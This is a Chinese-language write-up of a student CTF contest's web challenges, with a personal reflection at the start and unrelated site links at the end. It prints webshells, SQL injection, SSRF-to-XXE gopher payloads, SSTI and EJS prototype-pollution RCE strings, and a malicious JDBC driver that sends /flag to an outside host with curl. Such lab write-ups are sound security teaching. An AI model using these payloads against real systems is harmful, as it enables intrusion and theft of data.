【Web】SCU新生賽個人wp及完賽感想

目錄

一些碎碎念:

Web Guideline

2048

ezupload

hardupload

ezphp

ezweb

ezsql

webbuilder

tarit

tarit_revenge

VipDinner

simplespi


一些碎碎念:

scu新生賽是我全心全力打的第二場比賽,歷時七天,期間不免煎熬,有山重水復后仍疑無路的無能為力,有距離正解僅一念之隔的遺憾,當然,從不缺的是不斷嘗試最終打出flag的恣意。

回首看去,很多題對于現在的我極具啟發性,比賽過程也極大的提升了我的信息檢索能力(啟蒙于技能興魯的經歷)

作為3個月ctf生涯的一個階段性檢測,因為隊里就我一人,所以自認最后的成績還算可以(web12/15),給自己打個75分吧。

感謝401的師傅們出的高質量賽題,真就應了“題?難度梯度提升,在保證題?質量的同時,也有對新手循序漸進的引導”的主題。

期待下學期的校賽,希望在此之前能有破繭成蝶的蛻變!

?

下面直接貼出自己的wp

Web Guideline

查看器中直接看到flag(hidden)

2048

一眼前端js小游戲,常見的考點就是控制臺改分

直接console里盲猜一個score,發現有定義

直接改分score=99999999999

然后快速把游戲玩死,彈窗拿到flag

?

ezupload

寫馬

<?=phpinfo()?>

<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>

上傳文件時后綴改為.PHP即可繞過后綴過濾

內容檢測則用16進制轉字符串來繞過

上傳成功后看時間(看當前美國洛杉磯時間,縮小bp文件路徑爆破范圍)

<?php ?

// 設置默認時區為美國洛杉磯 ?

date_default_timezone_set('America/Los_Angeles'); ?

// 輸出當前時間 ?

echo date('H:i:s'); ?

?>

bp爆破出文件路徑

直接訪問rce拿到flag

hardupload

寫馬

<?=eval(next(getallheaders()))?>

getallheaders()返回所有的HTTP頭信息,但是要注意的一點是這個函數返回的是一個數組,而eval()要求的參數是一個字符串,所以這里不能直接用,這時我們就要想辦法將數組轉換為字符串,這里再套個next就可以返回字符串

(end也行,但這里再添加hearders貌似不是最后一位,所以盲猜next直接指向UA)

上傳時文件后綴改.PHP就可繞過后綴過濾

用下面腳本看一眼時間方便bp爆破上傳路徑

<?php ?

// 設置默認時區為美國洛杉磯 ?

date_default_timezone_set('America/Los_Angeles'); ?

// 輸出當前時間 ?

echo date('H:i:s'); ?

?>

直接訪問在UA里rce即可拿到flag

ezphp

?name=123

訪問/cache.php

?

?name=".file_put_contents('shell.php','<?php?phpinfo();?>')."

訪問/cache.php觸發file_put_contents,回顯18(符合執行成功的返回值)

?

訪問/shell.php?

成功寫入

?name=".file_put_contents('shell.php','<?php?eval($_POST[1])?>')."

訪問/cache.php觸發file_put_contents,回顯23,說明成功執行

?

訪問/shell.php

連蟻劍拿flag

?

ezweb

主機存活檢測,給了一個ip輸入框

測試有無ssrf

baidu.com,成功跳轉,猜測存在

查看頁面源代碼,還有一個xxe.php文件

看了下就是簡單的xxe注入,但是限制死了必須是本地訪問

?

現在思路就有了,利用主機存活檢測的ssrf去對xxe.php發送請求

利用gopher協議構造:

gopher://127.0.0.1:80/_

POST /xxe.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 180

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE info [ ?

<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]>

<info>

<name>&name;

</name></info>

需要進行兩次url編碼

gopher://127.0.0.1:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A

嘗試,直接hack,測了下,發現是127.0.0.1被禁用,直接0.0.0.0代替就行

gopher://0.0.0.0:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A

最后將得到的base64解碼即可

ezsql

簡單測一測發現是數字型注入

可以直接聯合查詢,按正常的套路走

/index.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

//flag

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"

//flag,id

/index.php?id=1 union select 1,flag from ctf.flag

//where_is_flag

?

明顯一個假的flag

sqlmap查了查別的庫感覺沒有特別明顯的flag表

想到flag在某個存儲過程的定義里面

已知flag格式為scuctf{uuid}

直接like模糊匹配

/index.php?id=-1 union select 1,routine_definition from information_schema.routines where routine_definition like '%scuctf%'

拿到flag

webbuilder

在服務器上起一個flask,源碼如下

app.py源碼from flask import Flask, request, jsonifyapp = Flask(__name__)@app.route('/test', methods=['GET'])
def test():name = request.args.get('name')# 檢查是否提供了 name 參數if not name:return jsonify(error='Name parameter is missing.'), 400# 構建返回的 JSON 數據responseData = {'len': 15,'code': 200  # 獲取當前時間戳}# 設置響應頭的 Content-Type 為 application/jsonreturn jsonify(responseData)@app.route('/redirect', methods=['GET'])
def redirect_route():# 返回狀態碼為 302 的響應return jsonify(), 302, {'Location': 'http://124.222.136.33:3000/success'}@app.route('/success', methods=['GET'])
def success_route():# Additional logic for /success route if neededreturn 'Success Route'# 新加的 /js 路由
@app.route('/js', methods=['GET'])
def js_route():return """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>CSP with Nonce Example</title><!-- 將生成的 nonce 值傳遞到前端腳本 --><script>const nonce = 'XssFun';  // 這里替換為實際的 nonce</script><!-- 在 script 標簽中使用 nonce --><script nonce="XssFun">// 在這里執行 JavaScript 代碼,訪問本地 /flag 路由并獲取回顯fetchData()// 定義獲取數據的函數async function fetchData() {try {const response = await fetch('http://127.0.0.1:8080/flag');const data = await response.text();  // 使用 text() 獲取字符串形式的響應location.href="http://0scpvdff.requestrepo.com/?data="+encodeURIComponent(data)} catch (error) {console.error('Error fetching data:', error);}}</script>
</head>
<body><!-- 在此可以添加其他 HTML 內容 -->
</body>
</html>"""if __name__ == '__main__':app.run(host="0.0.0.0", port=3000)

因為api檢測1那里長度為10-20的隨機數,檢測2還存在4次全部都是404的可能,所以需要多次爆破

?

?

拿到uuid

訪問/report?uuid=xxx(觸發bot.js里封裝的visit,xss把flag帶出)

拿到flag

?

?

tarit

題目就是tar文件上傳,題目環境有個解包的過程,這個過程如果我們tar中有個軟連接,就會鏈接到靶機文件

?

上傳訪問

?沒找到flag文件在哪,讀環境變量偷家成功

tarit_revenge

先隨便上傳一個tar文件,發現存在一個文件讀取

經過嘗試發現../替換成了空,雙寫繞過即可

?

訪問/app.pyc看源碼

因為沒拿到pyc文件,無法反編譯,只能靠猜了(

看出應該是渲染了index.html,可以覆蓋index.html來渲染自己的py代碼(SSTI)

?

貼出腳本

import requests as req
import tarfiledef changeFileName(filename):filename.name = '/app/templates/index.html'return filenamewith tarfile.open("tar.tar", "w") as tar:tar.add('test.py', filter=changeFileName)def upload():url = 'http://43.136.40.245:1389/upload'response = req.post(url=url, files={"file": open("tar.tar", 'rb')})print(response.text)if __name__ == "__main__":upload()

?

test.py

{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

//Y0u_C4nt_Find33333333_M3hhh

{{config.__class__.__init__.__globals__['os'].popen('ls /Y0u_C4nt_Find33333333_M3hhh').read()}}

//f144gggggg

{{config.__class__.__init__.__globals__['os'].popen('tac /Y0u_C4nt_Find33333333_M3hhh/f144gggggg').read()}}

//SCUCTF{S0rry_Ab0ut_Th3Th3_R3veng3_QwQ}

VipDinner

先給出參考文章

繞invited=1

MySQL 記錄不存在插入 和 存在則更新_mysql 更新或新增-CSDN博客

繞vip

mysql注入之長字符截斷、orderby注入、HTTP分割注入、limit注入_mysql注入 關鍵字截斷查詢原理預防-CSDN博客

ejsrce

EJS - Server Side Prototype Pollution gadgets to RCE | mizu.re

mysql注入之長字符截斷、orderby注入、HTTP分割注入、limit注入_mysql注入 關鍵字截斷查詢原理預防-CSDN博客


首先是繞invited


?

在/login的signup界面先更改掉Alice的密碼。把密碼覆蓋成abcd的md5值

Alice', 'awdaw')

ON DUPLICATE KEY UPDATE

??password = 'e2fc714c4727ee9395f324cd2e7f331f'#

輸入Alice abcd即可登錄拿到invited=1

接下來繞vip,

發現sql模式為空,data的容量是255

?

在note這里是可以拼接字符進去。但是vip是控不了的,肯定是false。可以在note插入大量字符串,因為數據表的data字段只能容納255,那么后面vip等于false就會被截斷掉?

?

接下來是ejsrce部分

顯然finish調用了merge

/check調用了finish

?

/bill調用了res.render()

?

下面就是調payload(長度為255即可)

用這個網站計算字符串長度

在線文本字符數統計工具 - UU在線工具

最終payload:

{"ids":[10],"createTime":"2023-12-8","price":16,"note":"aa","__proto__":{"view

options":{"client":1,"escapeFunction":"(() => {});return

process.mainModule.require('child_process').execSync('cat

/flag').toString()"}},"vip":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}

注意要給引號轉義(讓bp里識別成note的鍵值)

aa\",\"__proto__\":{\"view options\":{\"client\":1,\"escapeFunction\":\"(() =>

{});return process.mainModule.require('child_process').execSync('cat

/flag').toString()\"}},\"vip\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}

訪問/check?order=1觸發finish污染成功

訪問/bill?order=1拿到flag?

simplespi

審計代碼。代碼沒啥過濾的。就是一個上傳jar包。和寫了一個類似spi后門的東西。會加載我們的jar包

從SPI機制到JDBC后門實現 | CTF導航

加載的部分和上面文章的例子很像

關鍵就是生成一個和上面文章那個jar包結構相同的惡意jar包

?

最后新建的項目結構如圖

?

MySQLDriver(抄文章代碼,就改了個LinuxCmd)

package com;
import java.sql.*;
import java.util.*;
import java.util.logging.*;
public class MySQLDriver implements Driver {protected static boolean DEBUG = false;protected static final String WindowsCmd = "calc";protected static final String LinuxCmd = "curl 7s5ogi9m.requestrepo.com -T /flag";protected static String shell;protected static String args;protected static String cmd;static{if(DEBUG){Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");}if( System.getProperty("os.name").toLowerCase().contains("windows") ){shell = "cmd.exe";args = "/c";cmd = WindowsCmd;} else {shell = "/bin/sh";args = "-c";cmd = LinuxCmd;}try{Runtime.getRuntime().exec(new String[] {shell, args, cmd});} catch(Exception ignored) {}}// JDBC methods belowpublic boolean acceptsURL(String url){if(DEBUG){Logger.getGlobal().info("acceptsURL() called: "+url);}return false;}public Connection connect(String url, Properties info){if(DEBUG){Logger.getGlobal().info("connect() called: "+url);}return null;}public int getMajorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 1;}public int getMinorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 0;}public Logger getParentLogger(){if(DEBUG){Logger.getGlobal().info("getParentLogger() called");}return null;}public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){if(DEBUG){Logger.getGlobal().info("getPropertyInfo() called: "+url);}return new DriverPropertyInfo[0];}public boolean jdbcCompliant(){if(DEBUG){Logger.getGlobal().info("jdbcCompliant() called");}return true;}
}

運行下面命令就會在當前目錄生成惡意jar包

javac src/com/MySQLDriver.java

jar -cvf evil2.jar -C src/ .

上傳evil2.jar

訪問/init?name=evil2(審源碼)

這時候就成功外帶拿到flag?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/213301.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/213301.shtml
英文地址,請注明出處:http://en.pswp.cn/news/213301.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

孜然地址引導頁V9(帶后臺)

剛剛在瀏覽之前經常訪問的網站的時候我發現他不用那個域名了&#xff0c;然后我見這個頁面好看&#xff0c;就把他干下來了&#xff0c;然后把給他寫了個后臺。另外如果你的子頁面收錄多的話&#xff0c;人家百度訪問你的子頁面會顯示404的&#xff0c;所以為了流量可觀安裝這個…

【算法題】字符串變換最小字符串 * (js)

思路&#xff1a; 將字符按字典排序得到minStr&#xff0c;對比原str 如果 minStr str 則本身就是最小字符串 否則從前往后遍歷str&#xff0c;讓str[i]和minStr[i]對比&#xff0c;如果不同則替換 str[i]為minStr[i],并且這個minStr[i]這個字符要從str中尋找&#xff0c; 如果…

抓取真實瀏覽器設備指紋fingerprint寫入cookie方案

一個關于抓取真實瀏覽器設備指紋寫入cookie方案&#xff0c;用戶訪問頁面獲取到用戶設備生成指紋id&#xff0c;通過js把指紋存入cookie&#xff0c;然后用php進行獲取cookie存的指紋值到后臺。 用途&#xff1a;追蹤用戶設備&#xff0c;防惡意注冊&#xff0c;防惡意采集 瀏…

C語言-每日刷題練習

[藍橋杯 2013 省 B] 翻硬幣 題目背景 小明正在玩一個“翻硬幣”的游戲。 題目描述 桌上放著排成一排的若干硬幣。我們用 * 表示正面&#xff0c;用 o 表示反面&#xff08;是小寫字母&#xff0c;不是零&#xff09;&#xff0c;比如可能情形是 **oo***oooo&#xff0c;如果…

第9講、集成服務(增強用戶使用體驗感):

1、插入集成服務安裝盤 操作系統關閉&#xff1a; 1&#xff09;當物理機關機時&#xff0c;Hyper-V上的虛擬機將優先于物理機裝機&#xff0c;如果此時虛擬機還有應用 正在運行&#xff0c;那么會先保存這些應用至磁盤&#xff0c;然后再有序…

【Hadoop_03】HDFS概述與Shell操作

1、集群配置&#xff08;1&#xff09;集群啟動/停止方式總結&#xff08;2&#xff09;編寫Hadoop集群常用腳本&#xff08;3&#xff09;常考面試題【1】常用端口號【2】常用配置-文件 2、HDFS概述&#xff08;1&#xff09;HDFS產出背景及定義&#xff08;2&#xff09;HDFS…

K8S學習指南(9)-k8s核心對象init pod

文章目錄 引言什么是Init容器&#xff1f;Init容器的使用場景1. 數據初始化2. 網絡設置3. 等待依賴服務 Init容器的生命周期1. **Pending**2. **Running**3. **Terminated** Init容器的示例Init容器的高級用法結論 引言 Kubernetes&#xff08;簡稱K8s&#xff09;是一個強大的…

qmap類

QMap是一個關聯數組&#xff0c;它將鍵&#xff08;key&#xff09;與值&#xff08;value&#xff09;相關聯。QMap類提供了一系列方法來操作和查詢其中存儲的數據。下面是一些常見的QMap方法及其示例代碼&#xff1a; insert()方法用于將鍵值對插入到QMap中。如果鍵已經存在&…

軟件工程考試復習

第一章、軟件工程概述 &#x1f31f;軟件程序數據文檔&#xff08;考點&#xff09; &#x1f31f;計算機程序及其說明程序的各種文檔稱為 &#xff08; 文件 &#xff09; 。計算任務的處理對象和處理規則的描述稱為 &#xff08; 程序 &#xff09;。有關計算機程序功能、…

SQL注入概述

預計更新1.SQL注入概述 1.1 SQL注入攻擊概述 1.2 SQL注入漏洞分類 1.3 SQL注入攻擊的危害 SQLMap介紹 2.1 SQLMap簡介 2.2 SQLMap安裝與配置 2.3 SQLMap基本用法 SQLMap進階使用 3.1 SQLMap高級用法 3.2 SQLMap配置文件詳解 3.3 SQLMap插件的使用 SQL注入漏洞檢測 4.1 SQL注入…

智能優化算法應用:基于灰狼算法3D無線傳感器網絡(WSN)覆蓋優化 - 附代碼

智能優化算法應用&#xff1a;基于灰狼算法3D無線傳感器網絡(WSN)覆蓋優化 - 附代碼 文章目錄 智能優化算法應用&#xff1a;基于灰狼算法3D無線傳感器網絡(WSN)覆蓋優化 - 附代碼1.無線傳感網絡節點模型2.覆蓋數學模型及分析3.灰狼算法4.實驗參數設定5.算法結果6.參考文獻7.MA…

unity學習筆記19

一、角色動畫的使用練習 從資源商店導入的動畫資源&#xff08;Character Pack: Free Sample&#xff09;中將資源中的角色創建在場景里&#xff0c;現在場景里存在的角色并沒有任何動畫。 在資源中找到Animations文件夾&#xff0c;在這個文件有很多模型文件&#xff08;.FBX…

自定義帶有構建標記的Go二進制文件

引言 在Go中,構建標簽或構建約束,是添加到代碼片段中的標識符,用于確定在build過程中何時應將文件包含在包中。這允許您從相同的源代碼構建不同版本的Go應用程序,并以快速和有組織的方式在它們之間切換。許多開發人員使用構建標記來改進構建跨平臺兼容應用程序的工作流程,…

算能 MilkV Duo開發板實戰——opencv-mobile (迷你版opencv庫)的移植和應用

前言 OpenCV是一種開源的計算機視覺和機器學習軟件庫&#xff0c;旨在提供一組通用的計算機視覺工具。它用于圖像處理、目標識別、人臉識別、機器學習等領域&#xff0c;廣泛應用于計算機視覺任務。 OpenCV-Mobile是OpenCV庫的輕量版本&#xff0c;專為移動平臺&#xff08;A…

學習 NVIDIA Omniverse 的最基礎概念

無用的前言 近兩年關于 Omniverse 的宣傳一直很多&#xff0c;可我一直沒去了解&#xff0c;連它是個啥都不知道。最近正好有契機需要了解它&#xff0c;于是我今天抽時間看了些它的官方介紹&#xff0c;并按照自己的理解梳理在這里。 官方資料索引 Omniverse 官網主頁&…

Nacos配置管理-微服務配置拉取

yaml已配置內容 目錄 一、配置獲取步驟 二、統一配置管理步驟 三、Nacos管理配置的步驟總結 一、配置獲取步驟 二、統一配置管理步驟 1、引入Nacos的配置管理客戶端依賴: <!--nacos配置管理依賴--> <dependency> <groupId>com.alibaba.cloud&l…

CRM是什么?企業為什么需要CRM?

CRM是什么 CRM的全稱是Customer Relationship Management&#xff0c;即客戶關系管理&#xff0c;是一種企業與現有客戶及潛在客戶之間關系互動的管理系統&#xff0c;是企業“以客戶為中心”價值觀的核心體現之一。 客戶是一家企業最寶貴的資源。CRM系統最關鍵的就是能夠幫助…

復亞智能無人機機場適配最新大疆無人機

無人機已經在各個領域得到廣泛應用&#xff0c;但由于操作難度、起降場地等問題&#xff0c;其應用范圍和效率受到了一定限制。隨著無人機機場研發技術的成熟&#xff0c;許多實際操作中的難題得以解決&#xff0c;使得無人機應用變得更加高效。接下來&#xff0c;我們將深入了…

修改代碼后idea如何將代碼提交到公司git上

1、需要先更新最新的代碼到本地&#xff1b;&#xff08;此步驟防止&#xff0c;公司其他人在此期間已經提交了最新代碼&#xff0c;但是自己本地項目沒有拉取最新代碼&#xff0c;導致最后版本沖突&#xff09; 打開idea---》鼠標項目項目名上右擊---》選擇Git---》選擇pull-…

MySQL數據庫,創建和管理表

創建數據庫&#xff1a; 方式一&#xff1a;創建數據庫 CREATE DATABASE 數據庫名&#xff1b;&#xff08;使用的是默認的字符集&#xff09; 方式二&#xff1a;創建數據庫并指定字符集 CREATE DATABASE 數據庫名 CHARACTER SET 字符集&#xff1b; 方式三&#xff1a;判斷數…